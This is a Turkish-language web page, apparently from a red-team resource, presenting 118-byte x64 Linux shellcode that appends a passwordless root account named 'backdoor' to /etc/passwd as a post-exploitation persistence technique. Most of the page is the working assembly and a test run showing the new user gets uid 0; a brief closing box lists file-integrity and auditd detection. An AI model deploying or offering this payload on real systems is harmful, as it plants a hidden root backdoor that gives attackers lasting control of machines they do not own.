Linux/x64 /etc/passwd Backdoor User Ekleme - 118 Bytes

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-red-500 pl-5 py-3 bg-red-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-red-700 mb-1">Modern Post-Exploit - Linux x64 - Persistence</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 /etc/passwd Backdoor - 118 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Root yetkisi elde edildikten sonra /etc/passwd dosyasina parola gerektirmeyen yeni root kullanicisi ekleyen shellcode. Red team tatbikatlarinda kullanilan kalicilik tekniklerinden biridir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 open/write/close Syscall Zinciri</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; Eklenecek: backdoor::0:0:root:/root:/bin/bash
section .data
    filename  db '/etc/passwd',0
    entry     db 'backdoor::0:0:root:/root:/bin/bash',10,0
    entry_len equ $ - entry - 1
section .text
global _start
_start:
    lea  rdi, [rel filename]
    mov  rsi, 0x401     ; O_WRONLY|O_APPEND
    mov  rdx, 0x1a4     ; 0644
    mov  rax, 2         ; sys_open
    syscall
    mov  r9, rax
    mov  rdi, r9
    lea  rsi, [rel entry]
    mov  rdx, entry_len
    mov  rax, 1         ; sys_write
    syscall
    mov  rdi, r9
    mov  rax, 3         ; close
    syscall
    xor  rdi, rdi
    mov  rax, 60        ; exit
    syscall
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Test</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
tail -1 /etc/passwd
# backdoor::0:0:root:/root:/bin/bash
su backdoor
id
# uid=0(root)
    </div>
  </div>
  <div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">TESPIT File Integrity</p><p class="text-xs text-amber-700">AIDE veya Tripwire ile /etc/passwd degisikligi tespit edilir. auditd: -w /etc/passwd -p wa</p></div>
</div>